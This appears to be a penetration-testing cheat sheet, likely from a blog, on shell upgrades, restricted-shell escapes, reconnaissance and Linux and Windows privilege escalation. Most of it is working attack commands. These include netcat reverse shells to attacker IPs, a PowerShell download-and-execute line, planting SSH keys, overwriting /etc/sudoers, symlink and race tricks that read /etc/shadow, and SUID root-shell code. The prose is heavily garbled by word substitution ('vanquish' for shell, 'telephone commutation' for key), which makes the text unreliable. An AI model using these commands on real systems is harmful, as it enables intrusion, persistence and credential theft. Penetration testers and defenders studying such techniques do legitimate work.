Download the right binary architecture of socat to a writable directory, chmod it, execute
stty
Use the methods mentioned inward Spawning a TTY ShellOnce bash is running inward the PTY, background the vanquish alongside Ctrl-Z While the vanquish is inward the background, examine the electrical flow terminal in addition to STTY information so nosotros tin strength the connected vanquish to fit it
echo $TERM xterm-256color
stty -a speed 38400 baud; rows 59; columns 264; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; halt = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; fourth dimension = 0; -parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8 opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
With the vanquish silent backgrounded, laid the electrical flow STTY to type raw in addition to say it to echo the input characters alongside the next command:
stty raw -echo
Next foreground the vanquish alongside fg. It volition re-open the opposite vanquish but formatting volition live off. Finally, reinitialize the terminal alongside reset.
After the reset the vanquish should facial expression normal again. The lastly mensuration is to laid the shell, terminal type in addition to stty size to fit our electrical flow Kali window (from the information gathered above)
$ export SHELL=bash $ export TERM=xterm256-color $ stty rows 38 columns 116
ssh-key
If nosotros have got some user vanquish or access, in all probability it would live a adept thought to generate a novel ssh private-public telephone commutation duo using ssh-keygenssh-keygen Generating public/private rsa telephone commutation pair. Enter file inward which to relieve the telephone commutation (/home/bitvijays/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved inward /home/bitvijays/.ssh/id_rsa. Your world telephone commutation has been saved inward /home/bitvijays/.ssh/id_rsa.pub. The telephone commutation fingerprint is: SHA256:JbdAhAIPl8qm/kCANJcpggeVoZqWnFRvVbxu2u9zc5U bitvijays@Kali-Home The key's randomart picture is: +---[RSA 2048]----+ |o==*+. +=. | |=o**+ o. . | |=+...+ o + | |=.* . * . | |oO due south . .| |+ o E.| |.. + .| | .. . . . o . | | .. ooo o | +----[SHA256]-----+
cat /home/bitvijays/.ssh/id_rsa.pub echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tbCpnhU5qQm6typWI52FCin6NDYP0hmQFfag2kDwMDIS0j1ke/kuxfqfQKlbva9eo6IUaCrjIuAqbsZTsVjyFfjzo/hDKycR1M5/115Jx4q4v48a7BNnuUqi +qzUFjldFzfuTp6XM1n+Y1B6tQJJc9WruOFUNK2EX6pmOIkJ8QPTvMXYaxwol84MRb89V9vHCbfDrbWFhoA6hzeQVtI01ThMpQQqGv5LS+rI0GVlZnT8cUye0uiGZW7ek9DdcTEDtMUv1Y99zivk4FJmQWLzxplP5dUJ1NH5rm6YBH8CoQHLextWc36Ih18xsyzW8qK4Bfl4sOtESHT5/3PlkQHN bitvijays@Kali-Home" >> /home/user/.ssh/authorized_keys
ssh user@hostname -i id_rsa
Restricted Shell
Sometimes, after getting a shell, nosotros figure out that nosotros are inward restricted shell. The below has been taken from Escaping Restricted Linux Shells, Escape from SHELLcatrazDefinition
It limits a user’s powerfulness in addition to only allows them to perform a subset of scheme commands. Typically, a combination of some or all of the next restrictions are imposed past times a restricted shell:- Using the ‘cd’ command to modify directories.
- Setting or un-setting sure enough surroundings variables (i.e. SHELL, PATH, etc…).
- Specifying command names that comprise slashes.
- Specifying a filename containing a slash every bit an declaration to the ‘.’ built-in command.
- Specifying a filename containing a slash every bit an declaration to the ‘-p’ alternative to the ‘hash’ built-in command.
- Importing component definitions from the vanquish surroundings at startup.
- Parsing the value of SHELLOPTS from the vanquish surroundings at startup.
- Redirecting output using the ‘>’, ‘>|’, “, ‘>&’, ‘&>’, in addition to ‘>>’ redirection operators.
- Using the ‘exec’ built-in to supercede the vanquish alongside some other command.
- Adding or deleting built-in commands alongside the ‘-f’ in addition to ‘-d’ options to the enable built-in.
- Using the ‘enable’ built-in command to enable disabled vanquish built-ins.
- Specifying the ‘-p’ alternative to the ‘command’ built-in.
- Turning off restricted fashion alongside ‘set +r’ or ‘set +o restricted
- rbash
bash -r cd bash: cd: restricted
- rsh
- rksh
Reconnaissance
Find out information nigh the environment.- Run env to consider exported surroundings variables
- Run ‘export -p’ to consider the exported variables inward the shell. This would say which variables are read-only. Most likely the PATH ($PATH) in addition to SHELL ($SHELL) variables are ‘-rx’, which agency nosotros tin execute them, but non write to them. If they are writeable, nosotros would live able to escape the restricted shell!
- If the SHELL variable is writeable, you lot tin but laid it to your vanquish of pick (i.e. sh, bash, ksh, etc…).
- If the PATH is writeable, in addition to then you’ll live able to laid it to whatever directory you lot want. We recommend setting it to ane that has commands vulnerable to vanquish escapes.
- Try basic Unix commands in addition to consider what’s allowed ls, pwd, cd, env, set, export, vi, cp, mv etc.
Quick Wins
- If ‘/’ is allowed inward commands just run /bin/sh
- If nosotros tin laid PATH or SHELL variable
export PATH=/bin:/usr/bin:/sbin:$PATH export SHELL=/bin/sh
chsh password: <password volition live asked> /bin/bash
- If nosotros tin re-create files into existing PATH, copy
cp /bin/sh /current/directory; sh
Taking assist of binaries
Some commands allow us execute other scheme commands, frequently bypassing vanquish restrictions- ftp -> !/bin/sh
- gdb -> !/bin/sh
- more/ less/ human being -> !/bin/sh
- vi -> :!/bin/sh : Refer Breaking out of Jail : Restricted Shell in addition to Restricted Accounts in addition to Vim Tricks inward Linux in addition to Unix
- scp -S /tmp/getMeOut.sh x y : Refer Breaking out of rbash using scp
- awk ‘BEGIN {system(“/bin/sh”)}’
- find / -name someName -exec /bin/sh ;
- tee
echo "Your evil code" | tee script.sh
- Invoke vanquish thru scripting language
- Python
python -c 'import os; os.system("/bin/bash")
- Perl
perl -e 'exec "/bin/sh";'
SSHing from outside
- Use SSH on your machine to execute commands earlier the remote vanquish is loaded:
ssh username@IP -t "/bin/sh"
- Start the remote vanquish without loading “rc” profile (where most of the limitations are frequently configured)
ssh username@IP -t "bash --noprofile" -t Force pseudo-terminal allocation. This tin live used to execute arbitrary screen-based programs on a remote machine, which tin live really useful, e.g. when implementing carte du jour services. Multiple -t options strength tty allocation, fifty-fifty if ssh has no local tty
Getting out of rvim
Main divergence of rvim vs vim is that rvim does non allow escape to vanquish alongside previously described techniques and, on top of that, no vanquish commands at all. Taken from vimjail- To listing all installed features it is possible to usage ‘:version’ vim command.
:version VIM - Vi IMproved 8.0 (2016 Sep 12, compiled November 04 2017 04:17:46) Included patches: 1-1257 Modified past times pkg-vim-maintainers@lists.alioth.debian.org Compiled past times pkg-vim-maintainers@lists.alioth.debian.org Huge version alongside GTK2 GUI. Features included (+) or non (-): +acl +cindent +cryptv -ebcdic +float +job +listcmds +mouse_dec +multi_byte +persistent_undo +rightleft +syntax +termresponse +visual +X11 +arabic +clientserver +cscope +emacs_tags +folding +jumplist +localmap +mouse_gpm +multi_lang +postscript +ruby +tag_binary +textobjects +visualextra -xfontset +autocmd +clipboard +cursorbind +eval -footer +keymap +lua -mouse_jsbterm -mzscheme +printer +scrollbind +tag_old_static +timers +viminfo +xim +balloon_eval +cmdline_compl +cursorshape +ex_extra +fork() +lambda +menu +mouse_netterm +netbeans_intg +profile +signs -tag_any_white +title +vreplace +xpm +browse +cmdline_hist +dialog_con_gui +extra_search +gettext +langmap +mksession +mouse_sgr +num64 -python +smartindent +tcl +toolbar +wildignore +xsmp_interact ++builtin_terms +cmdline_info +diff +farsi -hangul_input +libcall +modify_fname -mouse_sysmouse +packages +python3 +startuptime +termguicolors +user_commands +wildmenu +xterm_clipboard +byte_offset +comments +digraphs +file_in_path +iconv +linebreak +mouse +mouse_urxvt +path_extra +quickfix +statusline +terminal +vertsplit +windows -xterm_save +channel +conceal +dnd +find_in_path +insert_expand +lispindent +mouseshape +mouse_xterm +perl +reltime - sun_workshop +terminfo +virtualedit +writebackup scheme vimrc file: "$VIM/vimrc"
- Examining installed features in addition to figure out which interpreter is installed.
- If python/ python3 has been installed
:python3 import pty;pty.spawn("/bin/bash")
Gather information from files
In instance of LFI or unprivileged shell, gathering information could live really useful. Mostly taken from g0tmi1k Linux Privilege Escalation BlogOperating System
cat /etc/issue truthful cat /etc/*-release truthful cat /etc/lsb-release # Debian based truthful cat /etc/redhat-release # Redhat based
/Proc Variables
/proc/sched_debug This is usually enabled on newer systems, such every bit RHEL 6. It provides information every bit to what procedure is running on which cpu. This tin live handy to acquire a listing of processes in addition to their PID number. /proc/mounts Provides a listing of mounted file systems. Can live used to create upwards one's take heed where other interesting files mightiness live located /proc/net/arp Shows the ARP table. This is ane way to regain out IP addresses for other internal servers. /proc/net/route Shows the routing tabular array information. /proc/net/tcp /proc/net/udp Provides a listing of active connections. Can live used to create upwards one's take heed what ports are listening on the server /proc/net/fib_trie This is used for road caching. This tin also live used to create upwards one's take heed local IPs, every bit good every bit gain a improve agreement of the target's networking construction /proc/version Shows the heart in addition to soul version. This tin live used to assist create upwards one's take heed the OS running in addition to the lastly fourth dimension it's been fully updated.
/proc/[PID]/cmdline Lists everything that was used to invoke the process. This sometimes contains useful paths to configuration files every bit good every bit usernames in addition to passwords. /proc/[PID]/environ Lists all the surroundings variables that were laid when the procedure was invoked. This also sometimes contains useful paths to configuration files every bit good every bit usernames in addition to passwords. /proc/[PID]/cwd Points to the electrical flow working directory of the process. This may live useful if you lot don't know the absolute path to a configuration file. /proc/[PID]/fd/[#] Provides access to the file descriptors beingness used. In some cases this tin live used to read files that are opened past times a process.
Environment Variables
cat /etc/profile truthful cat /etc/bashrc truthful cat /.bash_profile truthful cat /.bashrc truthful cat /.bash_logout
Configuration Files
- Apache Web Server : Helps inward figuring out the DocumentRoot where does your webserver files are?
/etc/apache2/apache2.conf /etc/apache2/sites-enabled/000-default
User History
/.bash_history /.nano_history /.atftp_history /.mysql_history /.php_history /.viminfo
Private SSH Keys / SSH Configuration
/.ssh/authorized_keys : specifies the SSH keys that tin live used for logging into the user work organisation human relationship /.ssh/identity.pub /.ssh/identity /.ssh/id_rsa.pub /.ssh/id_rsa /.ssh/id_dsa.pub /.ssh/id_dsa /etc/ssh/ssh_config : OpenSSH SSH customer configuration files /etc/ssh/sshd_config : OpenSSH SSH daemon configuration file
Unprivileged Shell to Privileged Shell
Probably, at this dot of time, nosotros would have got unprivileged vanquish of user www-data. If you lot are on Windows, at that spot are particular laid of steps. If you lot are on linux, it would live a adept thought to initiative of all banking concern check privilege escalation techniques from g0tm1lk weblog such every bit if at that spot are whatever binary executable alongside SUID bits, if at that spot are whatever cron jobs running alongside root permissions.[Linux] If you lot have got move a normal user of which you lot have got a password, it would live a adept thought to banking concern check sudo -l (for every user! Yes, fifty-fifty for www-data) to banking concern check if at that spot are whatever executables you lot have got permission to run.
Windows Privilege Escalation
If you lot have got a shell/ meterpreter from a windows box, probably, the initiative of all affair would live to utilizeSystemInfo
Run scheme information in addition to findout- Operating System Version
- Architecture : Whether x86 or x64.
- Hotfix installed
systeminfo Host Name: VICTIM-MACHINE OS Name: Microsoft Windows Server 2008 R2 Datacenter OS Version: 6.1.7600 N/A Build 7600 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00496-001-0001283-84782 Original Install Date: 18/3/2017, 7:04:46 �� System Boot Time: 7/11/2017, 3:13:00 �� System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 2 Processor(s) Installed. [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel 2100 Mhz [02]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel 2100 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 5/4/2016 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: el;Greek Input Locale: en-us;English (United States) Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul Total Physical Memory: 2.048 MB Available Physical Memory: 1.640 MB Virtual Memory: Max Size: 4.095 MB Virtual Memory: Available: 3.665 MB Virtual Memory: In Use: 430 MB Page File Location(s): C:\pagefile.sys Domain: HTB Logon Server: N/A Hotfix(s): N/A Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: No IP address(es) [01]: 10.54.98.9
C:\Windows\SoftwareDistribution\Download
C:\Windows\WindowUpdate.log
Metasploit Local Exploit Suggestor
Metasploit local_exploit_suggester : The module suggests local meterpreter exploits that tin live used. The exploits are suggested based on the architecture in addition to platform that the user has a vanquish opened every bit good every bit the available exploits inward meterpreter.NoteIt is utmost of import that the meterpreter should live of the same architecture every bit your target machine, otherwise local exploits may fail. For example. if you lot have got target every bit windows 64-bit machine, you lot should have got 64-bit meterpreter.
Sherlock in addition to PowerUp Powershell Script
- Sherlock PowerShell script past times rastamouse to chop-chop regain missing software patches for local privilege escalation vulnerabilities. If the Metasploit local_exploit_suggester didn’t resulted inward whatever exploits. Probably, seek Sherlock Powershell script to consider if at that spot whatever vuln which tin live exploited.
- PowerUp : PowerUp aims to live a clearinghouse of mutual Windows privilege escalation vectors that rely on misconfigurations.
view-source:10.54.98.X/shell.php?cmd=echo IEX (New-Object Net.WebClient).DownloadString("http://YourIP:8000/Sherlock.ps1"); | powershell -noprofile -
Windows Exploit Suggestor
Windows Exploit Suggestor : This tool compares a targets patch levels against the Microsoft vulnerability database inward lodge to regain potential missing patches on the target. It also notifies the user if at that spot are world exploits in addition to Metasploit modules available for the missing bulletins. Just re-create the systeminfo information from the windows OS in addition to compare the database.If nosotros are getting the below error on running local exploits of getuid inward meterpreter
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getuid: Operation failed: Access is denied.
Windows Kernel Exploits
Windows Kernel Exploits contains most of the compiled windows exploits. One way of running these is either upload these on victim scheme in addition to execute. Otherwise, create a smb-server using Impacketusage: smbserver.py [-h] [-comment COMMENT] [-debug] [-smb2support] shareName sharePath This script volition launch a SMB Server in addition to add together a portion specified every bit an argument. You demand to live root inward lodge to bind to port 445. No authentication volition live enforced. Example: smbserver.py -comment 'My share' TMP /tmp positional arguments: shareName call of the portion to add together sharePath path of the portion to add together
impacket-smbserver <sharename> `pwd` Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies [*] Config file parsed [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 [*] Config file parsed [*] Config file parsed [*] Config file parsed
view-source:VictimIP/shell.php?cmd=\\YourIP\ShareName\ms15-051x64.exe whoami *Considering shell.php is our php oneliner to execute commands.
Abusing Token Privileges
If nosotros have got the windows vanquish or meterpreter, nosotros tin type “whoami /priv” or if nosotros have got meterpreter, nosotros tin type “getprivs”If nosotros have got whatever of the below privileges, nosotros tin mayhap utilize Rotten Potato
SeImpersonatePrivilege SeAssignPrimaryPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeCreateTokenPrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege
Linux Privilege Escalation
Techniques for Linux privilege escalation:Privilege escalation from g0tm1lk blog
Once, nosotros have got got the unprivileged shell, it is really of import to banking concern check the below things- Did you lot tried “sudo -l” in addition to banking concern check if nosotros have got whatever binaries which tin live executed every bit root?
- Are at that spot whatever binaries alongside Sticky, suid, guid.
- Are at that spot whatever world-writable folders, files.
- Are at that spot whatever world-execuable files.
- Which are the files owned past times nobody (No user)
- Which are the files which are owned past times a particular user but are non nowadays inward their domicile directory. (Mostly, the users have got files in addition to folders inward /home directory. However, that’s non ever the case.)
- What are the processes running on the machines? (ps aux). Remember, If something similar knockd is running, nosotros would come upwards to know that Port Knocking is required.
- What are the packages installed? (dpkg -l for debian) (pip listing for python packages). Maybe some vulnerable application is installed ready to live exploited (For example: chkroot version 0.49 or couchdb 1.7).
- What are the services running? (netstat -ln)
- Check the entries inward the crontab!
- What are the files nowadays inward the /home/user folder? Are at that spot whatever hidden files in addition to folders? similar .thunderbird/ .bash_history etc.
- What groups does the user belong to (adm, audio, video, disk)?
- What other users are logged on the linux box (command w)?
What “Advanced Linux File Permissions” are used?
Sticky bits, SUID & GUIDfind / -perm -1000 -type d 2>/dev/null # Sticky chip - Only the possessor of the directory or the possessor of a file tin delete or rename here. regain / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run every bit the group, non the user who started it. regain / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run every bit the owner, non the user who started it. regain / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i inward `locate -r "bin$"`; do regain $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks inward 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin in addition to whatever other *bin, for SGID or SUID (Quicker search) # regain starting at root (/), SGID or SUID, non Symbolic links, only 3 folders deep, listing alongside to a greater extent than particular in addition to enshroud whatever errors (e.g. permission denied) regain / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
Where tin written to in addition to executed from?
Influenza A virus subtype H5N1 few ‘common’ places: /tmp, /var/tmp, /dev/shmfind / -writable -type d 2>/dev/null # world-writeable folders regain / -perm -222 -type d 2>/dev/null # world-writeable folders regain / -perm -o+w -type d 2>/dev/null # world-writeable folders regain / -perm -o+w -type f 2>/dev/null # world-writeable files regain / -type f -perm -o+w -not -type l -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null # world-writeable files regain / -perm -o+x -type d 2>/dev/null # world-executable folders regain / -perm -o+x -type f 2>/dev/null # world-executable files regain / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders
Any “problem” files?
Word-writeable, “nobody” filesfind / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files regain /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
Find files/ folder owned past times the user
After compromising the machine alongside an unprivileged shell, /home would contains the users nowadays on the system. Also, viewable past times checking /etc/passwd. Many times, nosotros do desire to consider if at that spot are whatever files owned past times those users exterior their domicile directory.find / -user username 2> /dev/null regain / -group groupname 2> /dev/null
Tip
Find files past times wheel/ adm users or the users inward the domicile directory. If the user is fellow member of other groups (such every bit audio, video, disk), it mightiness live a adept thought to banking concern check for files owned past times particular groups.
Other Linux Privilege Escalation
Execution of binary from Relative location than Absolute
If nosotros figure out that a suid binary is running alongside relative locations (for instance let’s say backjob is running “id” in addition to “scp /tmp/special ron@ton.home”)(figured out past times running strings on the binary). The work alongside this is, that it’s trying to execute a file/ script/ plan on a RELATIVE location (opposed to an ABSOLUTE location similar /sbin would be). And nosotros volition at nowadays exploit this to move root.Something similar this:
system("/usr/bin/env echo in addition to at nowadays what?");
echo "/bin/sh" >> /tmp/id chmod +x /tmp/id
www-data@yummy:/tmp$ echo "/bin/sh" >> /tmp/id www-data@yummy:/tmp$ export PATH=/tmp:$PATH www-data@yummy:/tmp$ which id /tmp/id www-data@yummy:/tmp$ /opt/backjob whoami root # /usr/bin/id uid=0(root) gid=0(root) groups=0(root),33(www-data)
- /opt/backjob switches user context to root (as it is suid) in addition to tries to run “scp or id”
- Linux searches the filesystem according to its path (here: inward /tmp first)
- Our malicious /tmp/scp or /tmp/id gets found in addition to executed every bit root
- A novel bash opens alongside root privileges.
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Environment Variable Abuse
If the suid binary contains a code likeasprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to telephone call upwards system(\"%s\")\n", buffer); system(buffer);
USER=";/bin/sh;"
echo $USER ;/bin/sh; levelXX@:/home/flagXX$ ./flagXX nigh to telephone call upwards system("/bin/echo ;/bin/sh; is cool") sh-4.2$ id uid=997(flagXX) gid=1003(levelXX) groups=997(flagXX),1003(levelXX)
World-Writable Folder alongside a Script executing whatever file inward that folder using crontab
If at that spot exists whatever world-writeable folder plus if at that spot exists a cronjob which executes whatever script inward that world-writeable folder such as#!/bin/sh for i inward /home/flagXX/writable.d/* ; do (ulimit -t 5; bash -x "$i") rm -f "$i" done
echo "/bin/nc.traditional -e /bin/sh 192.168.56.1 22" > hello.sh
nosotros tin create a suid file to give us the privileged user permission
#!/bin/sh gcc /var/tmp/shell.c -o /var/tmp/flagXX chmod 4777 /var/tmp/flagXX
int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); }
Symlink Creation
Multiple time, nosotros would regain that a suid binary belonging to some other user is authorized to read a particular file. For instance Let’s say there’s a suid binary called readExampleConf which tin read a file named example.conf every bit a suid user. This binary tin live tricked into reading whatever other file past times creating a Symlink or a softlink. For instance if nosotros desire to read /etc/shadow file which tin live read past times suid user. nosotros tin doln -s /etc/shadow /home/xxxxxx/example.conf ln -s /home/xxx2/.ssh/id_rsa /home/xxxxxxx/example.conf
readExampleConf /home/xxxxxxx/example.conf <Contents of shadow or id_rsa>
Directory Symlink
Let’s consider what happens when nosotros create a symlink of a directoryln -s /etc/ sym_file ln -s /etc/ sym_fold/
sym_file -> /etc/
sym_fold: total 0 lrwxrwxrwx 1 bitvijays bitvijays v December 2 19:31 etc -> /etc/
Time of banking concern check to fourth dimension of use
In Unix, if a binary plan such every bit below next C code (uses access to banking concern check the access of the specific file in addition to to opened upwards a specific file), when used inward a setuid program, has a TOCTTOU bug:if (access("file", W_OK) != 0) { exit(1); } fd = open("file", O_WRONLY); //read over /etc/shadow read(fd, buffer, sizeof(buffer));
Attacker
// // // After the access banking concern check symlink("/etc/shadow", "file"); // Before the open, "file" points to the password database // //
Let’s consider how nosotros tin exploit this?
In the below code, nosotros are linking the file which nosotros have got access (/tmp/hello.txt) in addition to the file which nosotros desire to read (and currently don’t have got access) (/home/flagXX/token). The f switch on ln makes sure enough nosotros overwrite the existing symbolic link. We run it inward the piece truthful loop to create the race condition.
while true; do ln -sf /tmp/hello.txt /tmp/token; ln -sf /home/flagXX/token /tmp/token ; done
while true; do ./flagXX /tmp/token 192.168.56.1 ; done
Using access() to banking concern check if a user is authorized to, for example, opened upwards a file earlier genuinely doing so using open(2) creates a safety hole, because the user mightiness exploit the curt fourth dimension interval betwixt checking in addition to opening the file to manipulate it. For this reason, the usage of this scheme telephone call upwards should live avoided.
Writable /etc/passwd or work organisation human relationship credentials came from a legacy unix system
- Passwords are ordinarily stored inward /etc/shadow, which is non readable past times users. However, historically, they were stored inward the world-readable file /etc/passwd along alongside all work organisation human relationship information.
- For backward compatibility, if a password hash is nowadays inward the 2nd column inward /etc/passwd, it takes precedence over the ane inward /etc/shadow.
- Also, an empty 2nd acre inward /etc/passwd agency that the work organisation human relationship has no password, i.e. anybody tin log inward without a password (used for invitee accounts). This is sometimes disabled.
- If passwordless accounts are disabled, you lot tin pose the hash of a password of your choice. nosotros tin usage the mkpasswd to generate password hashes, for example
Usage: mkpasswd [OPTIONS]... [PASSWORD [SALT]] Crypts the PASSWORD using crypt(3). -m, --method=TYPE select method TYPE -5 similar --method=md5 -S, --salt=SALT usage the specified SALT -R, --rounds=NUMBER usage the specified NUMBER of rounds -P, --password-fd=NUM read the password from file descriptor NUM instead of /dev/tty -s, --stdin similar --password-fd=0 -h, --help display this assist in addition to move out -V, --version output version information in addition to move out mkpasswd tin generate DES, MD5, SHA-256, SHA-512
- It’s possible to gain root access fifty-fifty if you lot tin only append to /etc/passwd in addition to non overwrite the contents. That’s because it’s possible to have got multiple entries for the same user, every bit long every bit they have got unlike names — users are identified past times their ID, non past times their name, in addition to the defining characteristic of the root work organisation human relationship is non its call but the fact that it has user ID 0. So you lot tin create an alternate root work organisation human relationship past times appending a line that declares an work organisation human relationship alongside some other name, a password of your pick in addition to user ID 0
Elevating privilege from a suid binary
If nosotros have got powerfulness to create a suid binary, nosotros tin usage eitherSuid.c
int main(void) { setgid(0); setuid(0); execl(“/bin/sh”,”sh”,0); }
int main(void) { setgid(0); setuid(0); system("/bin/bash -p"); }
More details tin live found at Common Pitfalls When Writing Exploits
Executing Python script alongside sudo
If at that spot exists a python script which has a import declaration in addition to a user has a permission to execute it using sudo.<display_script.py> #!/usr/bin/python3 import ftplib or import instance <Python code utilizing ftplib or instance calling some function> impress (example.display())
sudo python display_script.py
<example.py> #!/usr/bin/python3 import bone def display(): os.system("whoami") exit()
Example
If nosotros run our script alongside sudo (sudo myscript.py) in addition to then the surroundings variable $USER volition live root in addition to the surroundings variable $SUDO_USER volition live the call of the user who executed the command sudo myscript.py. Consider the next scenario:
Influenza A virus subtype H5N1 linux user bob is logged into the scheme in addition to possesses sudo privileges. He writes the next python script named myscript.py:
#!/usr/bin/python import bone impress os.getenv("USER") impress os.getenv("SUDO_USER")
sudo ./myscript.py
root bob
./myscript.py
bob None
MySQL Privileged Escalation
If mysql (version 4.x, 5.x) procedure is running every bit root in addition to nosotros do have got the mysql root password in addition to nosotros are an unprivileged user, nosotros tin utilize User-Defined Function (UDF) Dynamic Library Exploit . Refer Gaining a root vanquish using mysql user defined functions in addition to setuid binariesMore Information
- The MySQL service should genuinely non run every bit root. The service in addition to all mysql directories should live run in addition to accessible from some other work organisation human relationship - mysql every bit an example.
- When MySQL is initialized, it creates a master copy work organisation human relationship (root past times default) that has all privileges to all databases on MySQL. This root work organisation human relationship differs from the scheme root account, although it mightiness silent have got the same password due to default install steps offered past times MySQL.
- Commands tin live executed within MySQL, however, commands are executed every bit the electrical flow logged inward user.
mysql> \! sh
Cron.d
Check cron.d in addition to consider if whatever script is executed every bit root at whatever fourth dimension in addition to is globe writeable. If so, you lot tin usage to setuid a binary alongside /bin/bash in addition to usage it to acquire root.Unattended APT - Upgrade
If nosotros have got a powerfulness to upload files to the host at whatever location (For. instance misconfigured TFTP server) in addition to APT-Update/ Upgrade is running at a laid interval (Basically unattended-upgrade or via-a-cronjob), in addition to then nosotros tin usage APT-Conf to run commandsDPKG
Debconf configuration is initiated alongside next line. The command inward brackets could live whatever arbitrary command to live executed inward shell.Dpkg::Pre-Install-Pkgs {"/usr/sbin/dpkg-preconfigure --apt || true";};
Dpkg::Pre-Invoke {"command";}; Dpkg::Post-Invoke {"command";};
APT
- APT::Update::Pre-Invoke {“your-command-here”};
- APT::Update::Post-Invoke-Success, which is invoked after successful updates (i.e. packet information updates, non upgrades);
- APT::Update::Post-Invoke, which is invoked after updates, successful or otherwise (after the previous claw inward the old case).
For example:
APT::Update::Post-Invoke{"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f";};
SUDO -l Permissions
Let’s consider which executables have got permission to run every bit sudo, We have got collated the unlike methods to acquire a vanquish if the below applications are suid: nmap, tee, tcpdump, find, zip in addition to packet installers (pip, npm).nmap suid
nmap --script <(echo 'require "os".execute "/bin/sh"')
nmap --interactive
tee suid
If tee is suid: tee is used to read input in addition to and then write it to output in addition to files. That agency nosotros tin usage tee to read our ain commands in addition to add together them to any_script.sh, which tin in addition to then live run every bit root past times a user. If some script is run every bit root, you lot may also run. For example, let’s say tidy.sh is executed every bit root on the server, nosotros tin write the below code inward temp.shtemp.sh echo "example_user ALL=(ALL) ALL" > /etc/sudoers
chmod +w /etc/sudoers to add together write properties to sudoers file to do the higher upwards
cat temp.sh | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
tcpdump
The “-z postrotate-command” alternative (introduced inward tcpdump version 4.0.0).Create a temp.sh ( which contains the commands to executed every bit root )
id /bin/nc 192.168.110.1 4444 -e /bin/bash
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z ./temp.sh -Z root
-C file_size : Before writing a raw packet to a savefile, banking concern check whether the file is currently larger than file_size and, if so, unopen the electrical flow savefile in addition to opened upwards a novel one. Savefiles after the initiative of all savefile volition have got the call specified alongside the -w flag, alongside a number after it, starting at 1 in addition to continuing upward. The units of file_size are millions of bytes (1,000,000 bytes, non 1,048,576 bytes). -W Used inward conjunction alongside the -C option, this volition bound the number of files created to the specified number, in addition to get overwriting files from the beginning, thus creating a 'rotating' buffer. In addition, it volition call the files alongside plenty leading 0s to back upwards the maximum number of files, allowing them to sort correctly. Used inward conjunction alongside the -G option, this volition bound the number of rotated dump files that acquire created, exiting alongside status 0 when reaching the limit. If used alongside -C every bit well, the behaviour volition final result inward cyclical files per timeslice. -z postrotate-command Used inward conjunction alongside the -C or -G options, this volition brand tcpdump run " postrotate-command file " where file is the savefile beingness closed after each rotation. For example, specifying -z gzip or -z bzip volition compress each savefile using gzip or bzip2. Note that tcpdump volition run the command inward parallel to the capture, using the lowest priority so that this doesn't disturb the capture process. And inward instance you lot would similar to usage a command that itself takes flags or unlike arguments, you lot tin ever write a vanquish script that volition bring the savefile call every bit the only argument, brand the flags & arguments arrangements in addition to execute the command that you lot want. -Z user --relinquish-privileges=user If tcpdump is running every bit root, after opening the capture device or input savefile, but earlier opening whatever savefiles for output, modify the user ID to user in addition to the grouping ID to the primary grouping of user. This behaviour tin also live enabled past times default at compile time.
zip
touch /tmp/exploit sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"
find
If regain is suid, nosotros tin usetouch foo regain foo -exec whoami \;
HollyGrace has mentioned this inward Linux PrivEsc: Abusing SUID More tin live larn How-I-got-root-with-sudo.
wget
If the user has permission to run wget every bit sudo, nosotros tin read files (if the user whom nosotros are sudo-ing have got the permisson to read) past times using –post-file parameterpost_file = file -- Use POST every bit the method for all HTTP requests in addition to shipping the contents of file inward the asking body. The same every bit ‘--post-file=file’.
